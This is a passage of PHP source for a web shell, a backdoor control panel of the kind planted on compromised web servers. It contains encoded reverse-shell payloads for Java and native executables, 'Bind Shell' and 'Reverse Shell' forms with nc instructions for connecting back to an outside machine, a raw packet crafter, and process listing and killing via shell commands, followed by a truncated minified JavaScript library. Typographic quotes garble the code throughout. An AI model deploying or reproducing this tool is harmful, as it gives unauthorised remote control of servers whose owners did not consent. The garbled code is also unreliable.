$GLOBALS[‘resources’][‘rs_java’] = “lVRNb9swDD2nQP+D4JM9BHaTDdjWIsOwYYcBAzosvXXBICuMrdWWBYnOB9L891Gy7LhrLz1Ekcgn8vGRcpaxElHb6ywrJJZtnoqmzvK37989dOvlhax1Y5D95VueyiZ9c/PUpAC97fJCt3klBRMVt5b5y3+MPV5eTLSRW47ALHIkwEYqXgWYRgZ7BLW27K40wNcOP1z4rnSLSyR7zaS9GbtuWzz7mhY9A3J3HDTGT+9On11IjlhKm0q7oMh+S8aFi3TqQn2+3YIxcg2juNtGrplpVZx4nhM0h24zyQ8I9yuWswVTsGP++GH2cb666fxSIRPkpDyuzDhPgmNXygpi8WlxlbAQa0Is0p2RCHE+vZqKHurtm6q1ZTyYXox58n/dKjiKMv62F6BRNopBcoSUVFSkBRcPd4YLoHAe7Jau+lBv6Jgvu+ZSxaSfVAUVyk1hOxFcZW4cfO7Oz0S9Jl5RlkuV2TLyLrmJlweLUKcF4E/TaDB4iKPGporXECUpNj+aHZiv3BKhVKo17G83cbSTKkqcPMcQlf6ijm/ItnNWP3DMllBV7JqJRikQCOvfqss+6s/OEfhCZxtkXDbiAZCVoXfdMfiGDhN9V3NagSqwXCxmYQQm/iksaFYRCjCp5sYCHTz6/mrV92QJhuYppLJ9qpExdoF6tONiUy5c1/pmd/2EygL7n8z8tWQ64aQmrHfNVqPEIxGknrIRr9PLUrDHR/Yyn/ErLKQru3Tqj8zDKD95oEUzYMf2AUz+/oX0JhopAe6TQhd/tQplDe562NJEwR5ETMOThG8FqUWTOwsFk876GbWpI9IncOj5GV24r4p+znCAz1J6Psa1T8+H7VlGv7ziddLv9A8=”;
$GLOBALS[‘resources’][‘rs_executable’] = “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”;

$GLOBALS[‘module’][‘network’][‘id’] = “network”;
$GLOBALS[‘module’][‘network’][‘title’] = “Network”;
$GLOBALS[‘module’][‘network’][‘js_ontabselected’] = “”;
$GLOBALS[‘module’][‘network’][‘content’] = ”

Bind Shell

Server IP
Port
run
Press ' run ' button and run ' nc server_ip port ' on your computer

Reverse Shell

Target IP
Port
run
Run ' nc -l -v -p port ' on your computer and press ' run ' button

Simple Packet Crafter

Host
Start Port
End Port
Connection Timeout
Stream Timeout
run You can also press ctrl+enter to submit

“;

if(isset($p[‘rsLang’]) && isset($p[‘rsArgs’])){
$rsLang = $p[‘rsLang’];
$rsArgs = $p[‘rsArgs’];
$res = “”;

if($rsLang==”php”){
$code = get_resource(“rs_”.$rsLang);
if($code!==false){
$code = “\$target = \””.$rsArgs.”\”; ?>”.$code;
$res = eval_go($rsLang, $code, “”, “”);
}
}
else{
$code = get_resource(“rs_”.$rsLang);
if($code!==false){
$res = eval_go($rsLang, $code, “”, $rsArgs);
}
}

if($res===false) $res == “error”;
output(html_safe($res));
}
elseif(isset($p[‘packetTimeout’])&&isset($p[‘packetSTimeout’])&&isset($p[‘packetPort’])&&isset($p[‘packetTimeout’])&&isset($p[‘packetContent’])){
$packetHost = trim($p[‘packetHost’]);
if(!preg_match(“/[a-z0-9]+:\/\/.*/”, $packetHost)) $packetHost = “tcp://”.$packetHost;

$packetPort = (int) $p[‘packetPort’];

$packetTimeout = (int) $p[‘packetTimeout’];
$packetSTimeout = (int) $p[‘packetSTimeout’];

$packetContent = $p[‘packetContent’];
if(ctype_xdigit($packetContent)) $packetContent = @pack(“H*” , $packetContent);
else{
$packetContent = str_replace(array(“\r”,”\n”), “”, $packetContent);
$packetContent = str_replace(array(“\\r”,”\\n”), array(“\r”, “\n”), $packetContent);
}

$res = “”;

$sock = fsockopen($packetHost, $packetPort, $errNo, $errStr, $packetTimeout);
if(!$sock){
$res .= “

“;
$res .= html_safe(trim($errStr)).” (error “.html_safe(trim($errNo)).”)

“;
}
else{
stream_set_timeout($sock, $packetSTimeout);
fwrite($sock, $packetContent.”\r\n\r\n\x00”);
$counter = 0;
$maxtry = 1;
$bin = “”;
do{
$line = fgets($sock, 1024);
if(trim($line)==””) $counter++;
$bin .= $line;
}while($counter<$maxtry); fclose($sock); $res .= "

“;
$res .= “

“;
}

output($res);
}

$GLOBALS[‘module’][‘processes’][‘id’] = “processes”;
$GLOBALS[‘module’][‘processes’][‘title’] = “Processes”;
$GLOBALS[‘module’][‘processes’][‘js_ontabselected’] = “show_processes();”;
$GLOBALS[‘module’][‘processes’][‘content’] = “”;

if(!function_exists(‘show_processes’)){
function show_processes(){
$output = ”;
$wcount = 11;
if(is_win()){
$cmd = “tasklist /V /FO csv”;
$wexplode = “\”,\””;
}
else{
$cmd = “ps aux”;
$wexplode = ” “;
}

$res = execute($cmd);
if(trim($res)==”) return false;
else{
$output .= “

“;
if(!is_win()) $res = preg_replace(‘#\ +#’,’ ‘,$res);

$psarr = explode(“\n”,$res);
$fi = true;
$tblcount = 0;

$check = explode($wexplode,$psarr[0]);
$wcount = count($check);

foreach($psarr as $psa){
if(trim($psa)!=”){
if($fi){
$fi = false;
$psln = explode($wexplode, $psa, $wcount);
$output .= “

“;
foreach($psln as $p) $output .= “

“;
$output .= “

“;
}
else{
$psln = explode($wexplode, $psa, $wcount);
$pid = trim(trim($psln[1]),”\””);
$tblcount = 0;
$output .= “

“;

foreach($psln as $p){
if(trim($p)==””) $p = ” “;
$p = trim(trim($p) ,”\””);
$p = html_safe($p);
if($tblcount == 0){
$output .= “

“;
$tblcount++;
}
else{
$tblcount++;
if($tblcount == count($psln)) $output .= “

“;
else $output .= “

“;
}
}
$output .= “

“;
}
}
}
$colspan = count($psln)+1;
$colspanAll = $colspan+1;
$output .= “

action “.trim(trim(strtolower($p)) ,”\””).”
kill “.$p.” “.$p.” “.$p.”
kill selectedrefresh

“;
}
return $output;
}
}

if(isset($p[‘showProcesses’])){
$processes = show_processes();
if($processes!==false) output($processes);
output(‘error’);
}
elseif(isset($p[‘allPid’])){
$allPid = explode(” “, $p[‘allPid’]);
$counter = 0;
foreach($allPid as $pid){
$pid = trim($pid);
if(!empty($pid)){
if(function_exists(“posix_kill”)){
if(posix_kill($pid,’9′)) $counter++;
}
else{
if(is_win()){
$cmd = execute(“taskkill /F /PID “.$pid);
$cmd = execute(“tasklist /FI \”PID eq “.$pid.”\””);
if(strpos($cmd,”No tasks are running”)!==false) $counter++;
}
else{
$cmd = execute(“kill -9 “.$pid);
if((strpos($cmd, “such process”)===false)&&(strpos($cmd, “not permitted”)===false)){
$cmd = trim(execute(“ps -p “.$pid));
$check = explode(“\n”, $cmd);
if(count($check)==1) $counter++;
}
}
}
}
}
if($counter>0) output($counter);
else output(‘error’);
}

$error = @ob_get_contents();
$error_html = (!empty($error))?”

".str_replace("\n\n", "\n", html_safe($error))."

“:””;
@ob_end_clean();
error_reporting(0);
@ini_set(‘display_errors’,’0′);

?>


<?php echo $GLOBALS['title']." ".$GLOBALS['ver'];?>


‘>



$v){
echo “

“.$v.”

“;
}
?>

“.$content.”

“;
}
?>

var targeturl = ''; var module_to_load = ''; var win = ; var init_shell = true; /* Zepto v1.1.2 - zepto event ajax form ie - zeptojs.com/license */ var Zepto=function(){function G(a){return a==null?String(a):z[A.call(a)]||"object"}function H(a){return G(a)=="function"}function I(a){return a!=null&&a==a.window}function J(a){return a!=null&&a.nodeType==a.DOCUMENT_NODE}function K(a){return G(a)=="object"}function L(a){return K(a)&&!I(a)&&Object.getPrototypeOf(a)==Object.prototype}function M(a){return a instanceof Array}function N(a){return typeof a.length=="number"}function O(a){return g.call(a,function(a){return a!=null})}function P(a){return a.length>0?c.fn.concat.apply([],a):a}function Q(a){return a.replace(/::/g,"/").replace(/([A-Z]+)([A-Z][a-z])/g,"$1_$2").replace(/([a-z\d])([A-Z])/g,"$1_$2").replace(/_/g,"-").toLowerCase()}function R(a){return a in j?j[a]:j[a]=new RegExp("(^|\\s)"+a+"(\\s|$)")}function S(a,b){return typeof b=="number"&&!k[Q(a)]?b+"px":b}function T(a){var b,c;return i[a]||(b=h.createElement(a),h.body.appendChild(b),c=getComputedStyle(b,"").getPropertyValue("display"),b.parentNode.removeChild(b),c=="none"&&(c="block"),i[a]=c),i[a]}function U(a){return"children"in a?f.call(a.children):c.map(a.childNodes,function(a){if(a.nodeType==1)return a})}function V(c,d,e){for(b in d)e&&(L(d[b])||M(d[b]))?(L(d[b])&&!L(c[b])&&(c[b]={}),M(d[b])&&!M(c[b])&&(c[b]=[]),V(c[b],d[b],e)):d[b]!==a&&(c[b]=d[b])}function W(a,b){return b==null?c(a):c(a).filter(b)}function X(a,b,c,d){return H(b)?b.call(a,c,d):b}function Y(a,b,c){c==null?a.removeAttribute(b):a.setAttribute(b,c)}function Z(b,c){var d=b.className,e=d&&d.baseVal!==a;if(c===a)return e?d.baseVal:d;e?d.baseVal=c:b.className=c}function $(a){var b;try{return a?a=="true"||(a=="false"?!1:a=="null"?null:!/^0/.test(a)&&!isNaN(b=Number(a))?b:/^[\[\{]/.test(a)?c.parseJSON(a):a):a}catch(d){return a}}function _(a,b){b(a);for(var c in a.childNodes)_(a.childNodes[c],b)}var a,b,c,d,e=[],f=e.slice,g=e.filter,h=window.document,i={},j={},k={"column-count":1,columns:1,"font-weight":1,"line-height":1,opacity:1,"z-index":1,zoom:1},l=/^\s*<(\w+|!)[^>]*>/,m=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,n=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,o=/^(?:body|html)$/i,p=/([A-Z])/g,q=["val","css","html","text","data","width","height","offset"],r=["after","prepend","before","append"],s=h.createElement("table"),t=h.createElement("tr"),u={tr:h.createElement("tbody"),tbody:s,thead:s,tfoot:s,td:t,th:t,"*":h.createElement("div")},v=/complete|loaded|interactive/,w=/^\.([\w-]+)$/,x=/^#([\w-]*)$/,y=/^[\w-]*$/,z={},A=z.toString,B={},C,D,E=h.createElement("div"),F={tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"};return B.matches=function(a,b){if(!b||!a||a.nodeType!==1)return!1;var c=a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.matchesSelector;if(c)return c.call(a,b);var d,e=a.parentNode,f=!e;return f&&(e=E).appendChild(a),d=~B.qsa(e,b).indexOf(a),f&&E.removeChild(a),d},C=function(a){return a.replace(/-+(.)?/g,function(a,b){return b?b.toUpperCase():""})},D=function(a){return g.call(a,function(b,c){return a.indexOf(b)==c})},B.fragment=function(b,d,e){var g,i,j;return m.test(b)&&(g=c(h.createElement(RegExp.$1))),g||(b.replace&&(b=b.replace(n,"<$1>")),d===a&&(d=l.test(b)&&RegExp.$1),d in u||(d="*"),j=u[d],j.innerHTML=""+b,g=c.each(f.call(j.childNodes),function(){j.removeChild(this)})),L(e)&&(i=c(g),c.each(e,function(a,b){q.indexOf(a)>-1?i[a](b):i.attr(a,b)})),g},B.Z=function(a,b){return a=a||[],a.__proto__=c.fn,a.selector=b||"",a},B.isZ=function(a){return a instanceof B.Z},B.init=function(b,d){var e;if(!b)return B.Z();if(typeof b=="string"){b=b.trim();if(b[0]=="<"&&l.test(b))e=B.fragment(b,RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}else{if(H(b))return c(h).ready(b);if(B.isZ(b))return b;if(M(b))e=O(b);else if(K(b))e=[b],b=null;else if(l.test(b))e=B.fragment(b.trim(),RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}return B.Z(e,b)},c=function(a,b){return B.init(a,b)},c.extend=function(a){var b,c=f.call(arguments,1);return typeof a=="boolean"&&(b=a,a=c.shift()),c.forEach(function(c){V(a,c,b)}),a},B.qsa=function(a,b){var c,d=b[0]=="#",e=!d&&b[0]==".",g=d||e?b.slice(1):b,h=y.test(g);return J(a)&&h&&d?(c=a.getElementById(g))?[c]:[]:a.nodeType!==1&&a.nodeType!==9?[]:f.call(h&&!d?e?a.getElementsByClassName(g):a.getElementsByTagName(b):a.querySelectorAll(b))},c.contains=function(a,b){return a!==b&&a.contains(b)},c.type=G,c.isFunction=H,c.isWindow=I,c.isArray=M,c.isPlainObject=L,c.isEmptyObject=function(a){var b;for(b in a)return!1;return!0},c.inArray=function(a,b,c){return e.indexOf.call(b,a,c)},c.camelCase=C,c.trim=function(a){return a==null?"":String.prototype.trim.call(a)},c.uuid=0,c.support={},c.expr={},c.map=function(a,b){var c,d=[],e,f;if(N(a))for(e=0;e=0?b:b+this.length]},toArray:function(){return this.get()},size:function(){return this.length},remove:function(){return this.each(function(){this.parentNode!=null&&this.parentNode.removeChild(this)})},each:function(a){return e.every.call(this,function(b,c){return a.call(b,c,b)!==!1}),this},filter:function(a){return H(a)?this.not(this.not(a)):c(g.call(this,function(b){return B.matches(b,a)}))},add:function(a,b){return c(D(this.concat(c(a,b))))},is:function(a){return this.length>0&&B.matches(this[0],a)},not:function(b){var d=[];if(H(b)&&b.call!==a)this.each(function(a){b.call(this,a)||d.push(this)});else{var e=typeof b=="string"?this.filter(b):N(b)&&H(b.item)?f.call(b):c(b);this.forEach(function(a){e.indexOf(a)<0&&d.push(a)})}return c(d)},has:function(a){return this.filter(function(){return K(a)?c.contains(this,a):c(this).find(a).size()})},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){var a=this[0];return a&&!K(a)?a:c(a)},last:function(){var a=this[this.length-1];return a&&!K(a)?a:c(a)},find:function(a){var b,d=this;return typeof a=="object"?b=c(a).filter(function(){var a=this;return e.some.call(d,function(b){return c.contains(b,a)})}):this.length==1?b=c(B.qsa(this[0],a)):b=this.map(function(){return B.qsa(this,a)}),b},closest:function(a,b){var d=this[0],e=!1;typeof a=="object"&&(e=c(a));while(d&&!(e?e.indexOf(d)>=0:B.matches(d,a)))d=d!==b&&!J(d)&&d.parentNode;return c(d)},parents:function(a){var b=[],d=this;while(d.length>0)d=c.map(d,function(a){if((a=a.parentNode)&&!J(a)&&b.indexOf(a)<0)return b.push(a),a});return W(b,a)},parent:function(a){return W(D(this.pluck("parentNode")),a)},children:function(a){return W(this.map(function(){return U(this)}),a)},contents:function(){return this.map(function(){return f.call(this.childNodes)})},siblings:function(a){return W(this.map(function(a,b){return g.call(U(b.parentNode),function(a){return a!==b})}),a)},empty:function(){return this.each(function(){this.innerHTML=""})},pluck:function(a){return c.map(this,function(b){return b[a]})},show:function(){return this.each(function(){this.style.display=="none"&&(this.style.display=""),getComputedStyle(this,"").getPropertyValue("display")=="none"&&(this.style.display=T(this.nodeName))})},replaceWith:function(a){return this.before(a).remove()},wrap:function(a){var b=H(a);if(this[0]&&!b)var d=c(a).get(0),e=d.parentNode||this.length>1;return this.each(function(f){c(this).wrapAll(b?a.call(this,f):e?d.cloneNode(!0):d)})},wrapAll:function(a){if(this[0]){c(this[0]).before(a=c(a));var b;while((b=a.children()).length)a=b.first();c(a).append(this)}return this},wrapInner:function(a){var b=H(a);return this.each(function(d){var e=c(this),f=e.contents(),g=b?a.call(this,d):a;f.length?f.wrapAll(g):e.append(g)})},unwrap:function(){return this.parent().each(function(){c(this).replaceWith(c(this).children())}),this},clone:function(){return this.map(function(){return this.cloneNode(!0)})},hide:function(){return this.css("display","none")},toggle:function(b){return this.each(function(){var d=c(this);(b===a?d.css("display")=="none":b)?d.show():d.hide()})},prev:function(a){return c(this.pluck("previousElementSibling")).filter(a||"*")},next:function(a){return c(this.pluck("nextElementSibling")).filter(a||"*")},html:function(a){return arguments.length===0?this.length>0?this[0].innerHTML:null:this.each(function(b){var d=this.innerHTML;c(this).empty().append(X(this,a,b,d))})},text:function(b){return arguments.length===0?this.length>0?this[0].textContent:null:this.each(function(){this.textContent=b===a?"":""+b})},attr:function(c,d){var e;return typeof c=="string"&&d===a?this.length==0||this[0].nodeType!==1?a:c=="value"&&this[0].nodeName=="INPUT"?this.val():!(e=this[0].getAttribute(c))&&c in this[0]?this[0][c]:e:this.each(function(a){if(this.nodeType!==1)return;if(K(c))for(b in c)Y(this,b,c[b]);else Y(this,c,X(this,d,a,this.getAttribute(c)))})},removeAttr:function(a){return this.each(function(){this.nodeType===1&&Y(this,a)})},prop:function(b,c){return b=F[b]||b,c===a?this[0]&&this[0][b]:this.each(function(a){this[b]=X(this,c,a,this[b])})},data:function(b,c){var d=this.attr("data-"+b.replace(p,"-$1").toLowerCase(),c);return d!==null?$(d):a},val:function(a){return arguments.length===0?this[0]&&(this[0].multiple?c(this[0]).find("option").filter(function(){return this.selected}).pluck("value"):this[0].value):this.each(function(b){this.value=X(this,a,b,this.value)})},offset:function(a){if(a)return this.each(function(b){var d=c(this),e=X(this,a,b,d.offset()),f=d.offsetParent().offset(),g={top:e.top-f.top,left:e.left-f.left};d.css("position")=="static"&&(g.position="relative"),d.css(g)});if(this.length==0)return null;var b=this[0].getBoundingClientRect();return{left:b.left+window.pageXOffset,top:b.top+window.pageYOffset,width:Math.round(b.width),height:Math.round(b.height)}},css:function(a,d){if(arguments.length<2){var e=this[0],f=getComputedStyle(e,"");if(!e)return;if(typeof a=="string")return e.style[C(a)]||f.getPropertyValue(a);if(M(a)){var g={};return c.each(M(a)?a:[a],function(a,b){g[b]=e.style[C(b)]||f.getPropertyValue(b)}),g}}var h="";if(G(a)=="string")!d&&d!==0?this.each(function(){this.style.removeProperty(Q(a))}):h=Q(a)+":"+S(a,d);else for(b in a)!a[b]&&a[b]!==0?this.each(function(){this.style.removeProperty(Q(b))}):h+=Q(b)+":"+S(b,a[b])+";";return this.each(function(){this.style.cssText+=";"+h})},index:function(a){return a?this.indexOf(c(a)[0]):this.parent().children().indexOf(this[0])},hasClass:function(a){return a?e.some.call(this,function(a){return this.test(Z(a))},R(a)):!1},addClass:function(a){return a?this.each(function(b){d=[];var e=Z(this),f=X(this,a,b,e);f.split(/\s+/g).forEach(function(a){c(this).hasClass(a)||d.push(a)},this),d.length&&Z(this,e+(e?" ":"")+d.join(" "))}):this},removeClass:function(b){return this.each(function(c){if(b===a)return Z(this,"");d=Z(this),X(this,b,c,d).split(/\s+/g).forEach(function(a){d=d.replace(R(a)," ")}),Z(this,d.trim())})},toggleClass:function(b,d){return b?this.each(function(e){var f=c(this),g=X(this,b,e,Z(this));g.split(/\s+/g).forEach(function(b){(d===a?!f.hasClass(b):d)?f.addClass(b):f.removeClass(b)})}):this},scrollTop:function(b){if(!this.length)return;var c="scrollTop"in this[0];return 